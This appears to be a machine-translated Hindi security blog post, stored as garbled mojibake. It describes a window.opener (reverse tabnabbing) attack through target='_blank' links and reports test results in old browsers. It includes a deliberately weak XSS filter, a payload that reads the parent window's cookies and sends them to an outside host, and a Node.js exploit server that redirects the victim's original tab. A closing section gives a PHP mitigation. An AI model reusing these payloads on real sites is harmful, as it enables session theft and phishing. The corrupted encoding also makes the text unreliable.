HTML рдЯреИрдЧ a рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╣рдорд▓рд╛

рдПрдХ рдЯреИрдЧ рди рдХреЗрд╡рд▓ рдореВрд▓реНрдпрд╡рд╛рди рдлрд░ рд╣реИ, рдмрд▓реНрдХрд┐ window.opener рдХрд╛ рдЖрд░рдВрдн рднреА рд╣реИред
рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ, рдЖрдкрдХреЛ рдЗрд╕ рдЯреИрдЧ рдХреА рдПрдХ рд╡рд┐рд╢реЗрд╖рддрд╛ рдФрд░ рд╕рдорд╕реНрдпрд╛ рдХреЛ рд╣рд▓ рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдПрдХ рдХрд╣рд╛рдиреА рдорд┐рд▓реЗрдЧреАред



рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐



рдпрд╣ рд╕рдм рдПрдХ рд╕рд╛рд▓ рд╕реЗ рднреА рдХрдо рд╕рдордп рдкрд╣рд▓реЗ рд╢реБрд░реВ рд╣реБрдЖ рдерд╛ред рдореИрдВрдиреЗ рджреЗрдЦрд╛ (рдкрд╛рдпрд╛) рдХрд┐ рдПрдХ рдирдИ рд╡рд┐рдВрдбреЛ рдореЗрдВ рд╣рд╛рдЗрдкрд░рд▓рд┐рдВрдХ рдЦреЛрд▓рдирд╛ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ window.opener рдХреЛ рдЖрд░рдВрдн рдХрд░рддрд╛ рд╣реИред

рд╕рдВрджрд░реНрдн рдХреЗ рд▓рд┐рдП: window.opener рдкреИрд░реЗрдВрдЯ рд╡рд┐рдВрдбреЛ (рдкреИрд░реЗрдВрдЯ рдлреНрд░реЗрдо рдореЗрдВ), рдпрд╛рдиреА рдЙрд╕ рд╡рд┐рдВрдбреЛ рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рд╡рд┐рдВрдбреЛ .open () рдХрд╣рд▓рд╛рддреА рдереАред

рдмреЗрд╢рдХ, рдореИрдВрдиреЗ рддреБрд░рдВрдд Google рд╢реБрд░реВ рдХрд┐рдпрд╛, рд▓реЗрдХрд┐рди рдореБрдЭреЗ рдХреБрдЫ рднреА рд╕рдордЭрджрд╛рд░ рдирд╣реАрдВ рдорд┐рд▓рд╛ред рд╕рдмрдХреБрдЫ рдареАрдХ рд╣реЛ рдЬрд╛рдПрдЧрд╛, рд▓реЗрдХрд┐рди рдЕрдЧрд░ рдПрдХ "рдмрдЯ" рдХреЗ рд▓рд┐рдП рдирд╣реАрдВ:
Window.opener рдХреЛ рдЗрдирд┐рд╢рд┐рдпрд▓рд╛рдЗрдЬрд╝ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рднрд▓реЗ рд╣реА рдбреЛрдореЗрди рдФрд░ / рдпрд╛ IP рдПрдбреНрд░реЗрд╕ рдЕрд▓рдЧ-рдЕрд▓рдЧ рд╣реЛрдВред

рджреВрд╕рд░реЗ рджрд┐рди, рдореИрдВ рдЕрдкрдирд╛ рдореЗрд▓ рд╕реЙрд░реНрдЯ рдХрд░рддрд╛ рд╣реВрдВ рдФрд░ рджреЗрдЦрддрд╛ рд╣реВрдВ рдХрд┐ рдореБрдЭреЗ рдпреИрдВрдбреЗрдХреНрд╕ рдЯреАрдо рд╕реЗ рдПрдХ рд╕рдВрджреЗрд╢ рдорд┐рд▓рд╛:



рдмрдЧ рд░рд┐рдкреЛрд░реНрдЯ, рдпрд╛ рдпреЛрдВ рдХрд╣реЗрдВ, window.opener (рдЗрд╕рдХреЗ рдмрд╛рдж wo рдХреЗ рд░реВрдк рдореЗрдВ рд╕рдВрджрд░реНрднрд┐рдд) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╣рдорд▓реЗ рдХрд╛ рд╕реИрджреНрдзрд╛рдВрддрд┐рдХ рдЕрдиреБрдкреНрд░рдпреЛрдЧ, рдореЗрд░реЗ рджреНрд╡рд╛рд░рд╛ рд▓рдЧрднрдЧ рдПрдХ рдорд╣реАрдиреЗ рдкрд╣рд▓реЗ рдЫреЛрдбрд╝ рджрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдореБрдЭреЗ рдЕрдм рдЬрд╡рд╛рдм рдХреА рдЙрдореНрдореАрдж рдирд╣реАрдВ рдереАред
рд▓реЗрдХрд┐рди рджреБрдирд┐рдпрд╛ рдПрдХ рдЕрдЬреАрдм рдЪреАрдЬ рд╣реИ, рд╣реИ рдирд╛? :)

рднрд╛рдЧ 1



рд╕рд┐рджреНрдзрд╛рдВрдд рд╕реЗ рдХрд╛рд░реНрд░рд╡рд╛рдИ рддрдХ!


рдорд╛рди рд▓реАрдЬрд┐рдП рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдПрдХ рдкреЗрдЬ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рд╣рдо рд╣рд╛рдЗрдкрд░рд▓рд┐рдВрдХ рдХреЛ рдПрдореНрдмреЗрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
рд╣рдо рдПрдХ рдХреЛрдб рд▓рд┐рдЦреЗрдВрдЧреЗ рдЬреЛ рд╣рдореЗрдВ рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХреЛ рдкреБрди: рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред

// тДЦ1 /*      ,   .    node.js */ var http = require('http'); http.createServer(function (rq, rs) { var cookie="Super :"+Math.random(-1)*30/13+": Mario"; //   ,     rs.writeHead(200, {'Content-Type': 'text/html', 'Set-Cookie': cookie}); if(!require('url').parse(rq.url).query){ //      rs.end('<h2>ERROR!</h2><br>Example: http://127.0.0.1:8080/wo.bug?host=http://google.com/<br>Shutting down :)'); console.log('[DEBUG] URL: '+rq.url+' is not valid!'); //   console.log('Achtung!'); process.kill(process.pid); //  :) } var host=require('url').parse(rq.url, true).query.host, // host=host.replace(/ /g,'%20'),//     host=host.replace(/</g,'&'+'lt;'), //antiXSS host=host.replace(/>/g,'&'+'gt;'), //antiXSS host=host.replace(/javascript:/g,''); //antiXSS console.log('URL: '+host); //    rs.end('<center><br><a href='+host+' target="_blank">click-click</a><br>Hey, '+cookie+'! </center>'); //""  }).listen(8080); //   8080  


рдЗрд╕ рдХреЛрдб рдиреЗ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдбреЗрдЯрд╛ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЛ рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд░рдирд╛ рдЫреЛрдбрд╝ рджрд┐рдпрд╛ рд╣реИред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЧрдард┐рдд рд▓рд┐рдВрдХ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ, рдФрд░ wo рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ, рд╣рдо рдПрдХ XSS рд╣рдорд▓рд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
рдкрд░реАрдХреНрд╖рдгреЛрдВ рдХреЗ рд▓рд┐рдП, рдореИрдВрдиреЗ "рдмрдбрд╝реЗ рддреАрди" рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдХреЛ рд▓рд┐рдпрд╛: рдУрдкреЗрд░рд╛ / 12.12, рдлрд╝рд╛рдпрд░рдлрд╝реЙрдХреНрд╕ / 18.00, рдХреНрд░реЛрдо / 23.0.127.9.97ред

рдлрд╝рд╛рдпрд░реНрдлрд╝реЙрдХреНрд╕


рддреЛ, рд╣рдо рдПрдХ рдЯреИрдЧ рдХреЗ href рд╡рд┐рд╢реЗрд╖рддрд╛ рдХреЗ рд▓рд┐рдП "рдбреЗрдЯрд╛ :, 1" рдорд╛рди рдкрд╛рд╕ рдХрд░рддреЗ рд╣реИрдВ:



рд╣рд╛рдЗрдкрд░рд▓рд┐рдВрдХ рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рд╣рдо рджреЗрдЦрддреЗ рд╣реИрдВ рдХрд┐ wo рдХреЛ рдЗрдирд┐рд╢рд┐рдпрд▓рд╛рдЗрдЬрд╝ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ:



рдФрд░ рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐, рд╢рд╛рдпрдж, рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдореВрд▓ рд╡рд┐рдВрдбреЛ рддрдХ рдкреВрд░реНрдг рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХрд╛ рдЕрд╡рд╕рд░ рд╣реИред
рдпрд╣ рдХреЗрд╡рд▓ рдпрд╣ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрдиреА рд╣реБрдИ рд╣реИред



Wo рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, рд╣рдордиреЗ рдореВрд▓ рд╡рд┐рдВрдбреЛ рдХреЗ рдХреБрдХреАрдЬрд╝ рдХреЛ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдПрдХреНрд╕реЗрд╕ рдХрд░ рд▓рд┐рдпрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдРрд╕рд╛ рдХреНрдпреЛрдВ рд╣реИ рдХрд┐ рдореИрдВ document.cookie = window.opener.document.cookie, рдИрдорд╛рдирджрд╛рд░реА рд╕реЗ рдирд╣реАрдВ рдЬрд╛рдирддрд╛ред рдореИрдВ рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрд╣ рд╕реБрд╡рд┐рдзрд╛ рдХреЗрд╡рд▓ рдПрдлрдПрдл рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢реЗрд╖рддрд╛ рд╣реИред

рдореИрдВрдиреЗ XP SP3 рдФрд░ FF 17 рдХреЗ рд╕рд╛рде рдПрдХ рд╡реАрдПрдо рдкрд░ рдЬрд╛рдБрдЪ рдХреА, рдПрдХ рд╣реА рддрд╕реНрд╡реАрд░:



рдпрд╣ рдХреЗрд╡рд▓ рд╢реЛрд╖рдг рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛ рд╣реБрдЖ рд╣реИ, рдЬреЛ рдХреБрдХреАрдЬрд╝ (рдФрд░ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ) рдЪреЛрд░реА рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП "рдП" рдЯреИрдЧ, рдбреЗрдЯрд╛ рдФрд░ рд╡реВ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдЧрд╛ред

рдкреЗрд▓реЛрдб:

 var snif=new Image(), //  ck=window.opener.document.cookie, //     concat = function() { return Array.prototype.slice.call(arguments).join("")};//     +,      GET   ,      JavaScript snif.src=concat('http://192.168.1.4:8081/?cok=',ck); //  (192.168.1.4- IP  ) 


рд╣рдо рдЗрд╕реЗ рд╣реЛрд╕реНрдЯ рдЪрд░ (рдбреЗрдЯрд╛ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рдЕрд░реНрдерд╛рддреН: рдбреЗрдЯрд╛: рдЯреЗрдХреНрд╕реНрдЯ / html), рдкрд╛рд╕ рдХрд░рддреЗ рд╣реИрдВред рд▓рд┐рдВрдХ рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ рдФрд░ рдХреБрдХреАрдЬрд╝ рдХрд╛ рдЖрдирдВрдж рд▓реЗрдВ:


рдФрд░ рдпрд╣ рд╡рд╣ рд╡рд┐рдВрдбреЛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рд╣рдорд╛рд░рд╛ рдХреЛрдб рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛:



рдЬреИрд╕рд╛ рдХрд┐ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рд╣рдо рдХреБрдХреАрдЬрд╝ рдХреЛ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдЪреБрд░рд╛рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдереЗред

рдУрдкреЗрд░рд╛


рдУрдкреЗрд░рд╛ рдХреЗ рд╕рд╛рде, рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд▓рдЧрднрдЧ рдлрд╝рд╛рдпрд░рдлрд╝реЙрдХреНрд╕ рдХреЗ рд╕рдорд╛рди рд╣реИред рддреЛ рдХрджрдо рд╡рд╣реА рд╣реЛрдВрдЧреЗред

рдЬрд╛рдБрдЪ рдХрд░реЗрдВ рдХрд┐ рдХреНрдпрд╛ wo рдЖрд░рдВрднреАрдХреГрдд рд╣реИ:



рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рд╣рдо рдХреБрдХреАрдЬрд╝ рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ:



рд╣рдо рджреЗрдЦрддреЗ рд╣реИрдВ рдХрд┐ рд╣рдо рдкрд┐рдЫрд▓реЗ рдЯреИрдм (рдореВрд▓ рд╡рд┐рдВрдбреЛ) рд╕реЗ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдХреБрдХреАрдЬрд╝ рдкрдврд╝рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдереЗред
рдпрд╣ рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХрд╛ рдлрд╛рдпрджрд╛ рдЙрдард╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реА рд╣реИред рдкреЗрд▓реЛрдб рдХреЛрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдлрдПрдл рдХреЗ рд▓рд┐рдП рд╣реА рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред

рд╣рдо рдЕрдкрдиреЗ рд╢реЛрд╖рдг рдХреЛ рдореЗрдЬрдмрд╛рди рдЪрд░ рдореЗрдВ рдкрд╛рд╕ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдлрд┐рд░ рд╕реЗ рдХреБрдХреАрдЬрд╝ рдХреА рдкреНрд░рд╢рдВрд╕рд╛ рдХрд░рддреЗ рд╣реИрдВ:



рдПрдХ рд▓рд┐рдВрдХ рдХреЗ рд╕рд╛рде рд╡рд┐рдВрдбреЛ:



рддреЛ, рд╣рдо рдХреБрдХреАрдЬрд╝ рдХреЛ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдЪреБрд░рд╛рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдереЗред рдпрд╣ рдПрдХ рджреБрдЦрдж рд╕реНрдерд┐рддрд┐ рд╣реИ, рд▓реЗрдХрд┐рди Google Chrome рдЕрднреА рднреА рдмрдирд╛ рд╣реБрдЖ рд╣реИред

рдХреНрд░реЛрдо


Wo рддрдХ рдкрд╣реБрдВрдЪ рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ:



Wo рдХреЛ рдЖрд░рдВрднреАрдХреГрдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рд▓реЗрдХрд┐рди Chrome рд╣рдореЗрдВ рдореВрд▓ рд╡рд┐рдВрдбреЛ рдХреЗ рдбреЗрдЯрд╛ рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреЗрддрд╛ рд╣реИ:



рдЕрдм рдПрдХ рдЕрд▓рдЧ рдХреЛрдг рд╕реЗ рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХреЛ рджреЗрдЦрдиреЗ рдХрд╛ рд╕рдордп рд╣реИред
рд▓реЗрдХрд┐рди рдХреНрдпрд╛ рд╣реЛрддрд╛ рд╣реИ рдЕрдЧрд░ рдбреЗрдЯрд╛ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ?
рдбреЗрдЯрд╛ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЛ рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд░рддреЗ рд╣реБрдП, рд╣рдорд╛рд░реЗ рдХреЛрдб рдореЗрдВ рдПрдХ рдЪреМрдерд╛ рдлрд╝рд┐рд▓реНрдЯрд░рд┐рдВрдЧ рдЬреЛрдбрд╝реЗрдВред

рдХреЛрдб рдлреЙрд░реНрдо рд▓реЗрдЧрд╛:

 /*тАж*/ host=host.replace(/</g,'&'+'lt;'), //antiXSS host=host.replace(/>/g,'&'+'gt;'), //antiXSS host=host.replace(/javascript:/g,''), //antiXSS host=host.replace(/data:/g,''); //Data  ! /*тАж*/ 


рдЗрд╕ рдХреЛрдб рдореЗрдВ рд╕рдВрд╢реЛрдзрди рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рд╣рдо рдЕрдм XSS рд╣рдорд▓реЗ рдХреЛ рдЕрдВрдЬрд╛рдо рдирд╣реАрдВ рджреЗ рдкрд╛рдПрдВрдЧреЗ, рд▓реЗрдХрд┐рди рд╣рдо рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдЧрд▓рдд рддрд░реАрдХреЗ рд╕реЗ рднреНрд░рдорд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИрдВред

рднрд╛рдЧ реи



рдЕрдм рд╣рдо рдкрд╛рд╕ рдХрд░рддреЗ рд╣реИрдВ, рдореЗрдЬрдмрд╛рди рд╡реИрд░рд┐рдПрдмрд▓ рдкрд░, bad.com рдХрд╛ рд▓рд┐рдВрдХред

рдлрд╝рд╛рдпрд░реНрдлрд╝реЙрдХреНрд╕




FF 18 рдореЗрдВ, wo рдХреЛ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдкреНрд░рд╛рд░рдВрдн рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рд╣рдо рдкрд┐рдЫрд▓реЗ рдлреНрд░реЗрдо (рдЯреИрдм) рдореЗрдВ рдкреНрд░рд╡реЗрд╢ рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдХреНрдпреЛрдВрдХрд┐ рдбреЛрдореЗрди рдЕрд▓рдЧ рд╣реИрдВ рдФрд░ рд╕реБрд░рдХреНрд╖рд╛ рдиреАрддрд┐ рд╣рдореЗрдВ рдРрд╕рд╛ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреЗрддреА рд╣реИред

рдУрдкреЗрд░рд╛




рдЗрд╕ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреА рд╕реНрдерд┐рддрд┐ рдлрд╝рд╛рдпрд░рдлрд╝реЙрдХреНрд╕ рдХреЗ рд╕рд╛рде рд╕реНрдерд┐рддрд┐ рдХреЗ рд╕рдорд╛рди рд╣реИред

рдХреНрд░реЛрдо




Chrome рдореЗрдВ wo рддрдХ рдкрд╣реБрдВрдЪ рд╣реИ, рд▓реЗрдХрд┐рди рд╕реБрд░рдХреНрд╖рд╛ рдиреАрддрд┐ рд╣рдорд╛рд░реЗ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЛ рдиреНрдпреВрдирддрдо рд░реВрдк рд╕реЗ рдХрд╛рдЯрддреА рд╣реИред



рд╣рдорд▓рд╛!



рдлрд╝рд╛рдпрд░реНрдлрд╝реЙрдХреНрд╕




рдУрд╡рд░рд░рд╛рдЗрдб:



рдУрдкреЗрд░рд╛




рдкреБрди: рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░реЗрдВ:



рдХреНрд░реЛрдо





рдУрд╡рд░рд░рд╛рдЗрдб:



рд╢реЛрд╖рдг рд▓реЗрдЦрди



рдЦреИрд░, рдЕрдЧрд░ рдХреЛрдИ рднреЗрджреНрдпрддрд╛ рд╣реИ, рддреЛ рд╢реЛрд╖рдг рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП :)

 var http = require('http'); if(!process.argv[2] || !process.argv[3]){console.log('Usage: node '+process.argv[1]+' ip port');process.exit(1)} http.createServer(function (rq, rs) { rs.writeHead(200, {'Content-Type': 'text/html'}); // ,  200 if(!rq.headers.referer){ //  Referer  rs.end(''); console.log('Referer is undefined!'); process.exit(1); } var host=require('url').parse(rq.headers.referer).hostname; //    Referer' var out="<html><script>"+ "window.opener.location='http://"+process.argv[2]+":"+process.argv[3]+"/"+host+".html';"+ //    "window.close()"+ //  "</script></html>"; rs.end(out); //  console.log('Window.opener changed!'); process.exit(1); }).listen(80) //   80  


рдпрд╣ рд╕рд░рд▓ рдХреЛрдб рд╣рдореЗрдВ рдкреЗрд░реЗрдВрдЯ рдЯреИрдм рдореЗрдВ рд╕рд╛рдЗрдЯ рдХреЛ рдмрджрд▓рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред
рдореИрдВ рдПрдХ рдЖрд░рдХреНрд╖рдг рдХрд░реВрдВрдЧрд╛ рдХрд┐ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рди рдкрддреЗ рдкрд░ рдЬрд╛рдПрдЧрд╛: рд╕рд╛рдЗрдЯ : port / referer.htmlред рдЬрд╣рд╛рдВ "рд░реЗрдлрд░рд░" рдлреЙрд░реНрдо рд╕рд╛рдЗрдЯ рдХрд╛ рдПрдХ рдореВрд▓реНрдп рд╣реИред *
рдЗрд╕ рддрдереНрдп рдХреЗ рдХрд╛рд░рдг рдХрд┐ рд╕реНрдХреНрд░реАрдирд╢реЙрдЯ рд▓реЗрдирд╛ рд╕рдорд╕реНрдпрд╛рдЧреНрд░рд╕реНрдд рд╣реЛрдЧрд╛, рдореИрдВрдиреЗ рдПрдХ рд╡реАрдбрд┐рдпреЛ рд░рд┐рдХреЙрд░реНрдб рдХрд┐рдпрд╛:

http://www.youtube.com/watch?v=Q09GA9oOEs8

рд╕реБрд░рдХреНрд╖рд╛



рдареАрдХ рд╣реИ, рд╣рдордиреЗ рд╣рдорд▓реЛрдВ рдХреЗ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХреЛ рджреЗрдЦрд╛, рд▓реЗрдХрд┐рди рдЦреБрдж рдХрд╛ рдмрдЪрд╛рд╡ рдХреИрд╕реЗ рдХрд░реЗрдВ?
рдЗрд╕реЗ рд╣рд▓ рдХрд░рдиреЗ рдХреЗ рджреЛ рддрд░реАрдХреЗ рд╣реИрдВ: рдпрд╛ рддреЛ рд▓рдХреНрд╖реНрдп рд╡рд┐рд╢реЗрд╖рддрд╛ рдХреЗ рдорд╛рди рдХреЛ рдмрд╛рдзреНрдп рдХрд░реЗрдВ, рдЯреИрдЧ рдХрд░реЗрдВ, "_ рд╕реНрд╡рдпрдВ", рдпрд╛ рдбрд╛рдВрд╕ рдХреЗ рд╕рд╛рде рдПрдХ рдбрд╛рдВрд╕ рдХрд░реЗрдВ, рд▓реЗрдХрд┐рди рд▓рд┐рдВрдХ рдХреЛ рдПрдХ рдирдИ рд╡рд┐рдВрдбреЛ рдореЗрдВ рдЦреЛрд▓реЗрдВред рдЕрдиреБрдорд╛рди рдХрд░реЗрдВ рдХрд┐ рд╣рдо рдХрд┐рд╕ рд░рд╛рд╕реНрддреЗ рдкрд░ рдЬрд╛рддреЗ рд╣реИрдВ?

рдпрд╣ рдлрд┐рдХреНрд╕ рдмрд╣реБрдд рдЖрд╕рд╛рди рд╣реИ: null рдХреЛ window.opener рдЕрд╕рд╛рдЗрди рдХрд░рдирд╛ред
рд╣рдо рдПрдХ рд╕рд╛рдзрд╛рд░рдг php рдХреЛрдб рд▓рд┐рдЦреЗрдВрдЧреЗ, рдЬреЛ рдЖрдкрдХреЛ wo рдХреЛ null рдХрд░рдиреЗ рдФрд░ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд╕рдВрд╕рд╛рдзрди рдкрд░ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред

 <?php $url=str_replace('data:','',$_GET['href']); // "data:" $url=htmlspecialchars(str_replace('javascript:','',$url)); //  XSS if(!$url){die();}; echo "<html>"; echo "<body>"; echo "<script>"; echo "window.opener=null;"; // wo  null echo "document.location='".$url."';"; //  echo "</script>"; echo "</body>"; echo "</html>"; ?> 


рд╣рдо рдХреЗрд╡рд▓ рдЕрдкрдиреЗ рдХреЛрдб (1) рдореЗрдВ рд╕реБрдзрд╛рд░ рд▓рд╛рдЧреВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
рдорд╛рди рд▓реАрдЬрд┐рдП рдХрд┐ рд╣рдорд╛рд░реА php рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реИ: site.com/file.php
рдлрд┐рд░ рд╣рдорд╛рд░рд╛ рдХреЛрдб (1) рдлреЙрд░реНрдо рд▓реЗрдЧрд╛:

 /**/ rs.end('<center><br><a href="http://site.com/file.php?href='+host+'" target="_blank">click-click</a><br>Hey, '+cookie+'! </center>'); /**/ 


рдФрд░ рдпрд╣рд╛рдБ рд╣рдорд╛рд░реЗ "рд╢рд░реНрдорд┐рдВрджрдЧреА" рдХрд╛ рдкрд░рд┐рдгрд╛рдо рд╣реИ:



рд╣рд╛рдВ, рдпрд╣ рдПрдХ рдЕрд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рддрд░реАрдХрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЗрд╕ рд╕рдорд╕реНрдпрд╛ рдХрд╛ рдХреЗрд╡рд▓ рдПрдХ рд╣реА рд╕рдорд╛рдзрд╛рди рдореИрдВ рдЗрд╕ рд╕рдордп рдкреЗрд╢ рдХрд░ рд╕рдХрддрд╛ рд╣реВрдВред
рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдХреЛрдИ рд╡рд┐рдЪрд╛рд░ рд╣реИ, рддреЛ рдХреГрдкрдпрд╛ рдЙрдиреНрд╣реЗрдВ рдЕрдкрдиреА рдЯрд┐рдкреНрдкрдгрд┐рдпреЛрдВ рдореЗрдВ рдЫреЛрдбрд╝ рджреЗрдВред

рджреБрд░реНрднрд╛рдЧреНрдп



рдЗрд╕ рд╣рдорд▓реЗ рдХреЗ рдкреНрд░рддрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЗ рдмреАрдЪ, рдореИрдВ рдкреНрд░рдХрд╛рд╢ рдбрд╛рд▓ рд╕рдХрддрд╛ рд╣реВрдВ
рдЧреВрдЧрд▓:








рд╡рд┐рдЪрд░рдиреЗрд╡рд╛рд▓рд╛:








рд╕реВрдЪреА рдЖрдЧреЗ рдмрдврд╝рддреА рд╣реИред

рдФрд░ рд╣рд╛рдВ, рдпрд╣ рдЬрд╛рдирдХрд╛рд░реА рдХреЗрд╡рд▓ рд╕реВрдЪрдирд╛ рдХреЗ рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдкреНрд░рджрд╛рди рдХреА рдЬрд╛рддреА рд╣реИред
рдЖрдкрдХреЛ рдЗрд╕реЗ рд╣рдорд▓реЛрдВ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдЕрдзрд┐рдХрд╛рд░ рдирд╣реАрдВ рд╣реИ, рдЕрдиреНрдпрдерд╛ рдЖрдкрдХреЛ рд░реВрд╕реА рд╕рдВрдШ рдХреЗ рдЖрдкрд░рд╛рдзрд┐рдХ рд╕рдВрд╣рд┐рддрд╛ рджреНрд╡рд╛рд░рд╛ рджрдВрдбрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛!
рдЖрдкрдХрд╛ рджрд┐рди рд╢реБрдн рд╣реЛ!

UPD: рд╣рдо IE 9 рдореЗрдВ window.opener рд╕реЗ рдирд┐рдкрдЯрддреЗ рд╣реИрдВ (рдХреНрд╖рдорд╛ рдХрд░реЗрдВ, рдХреЗрд╡рд▓ рдпрд╣ рд╣рд╛рде рдореЗрдВ рдерд╛)
IE 9 рдХреЗ рд╕рд╛рде рдХреБрдЫ рдЪрд▓ рд░рд╣рд╛ рд╣реИ ...
рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЗрд╕рдореЗрдВ рдХреЛрдИ рдбреЗрдЯрд╛ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдирд╣реАрдВ рд╣реИред



рдЗрд╕рд▓рд┐рдП, рд╣рдо wo рдХреЛ рдлрд┐рд░ рд╕реЗ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВрдЧреЗ

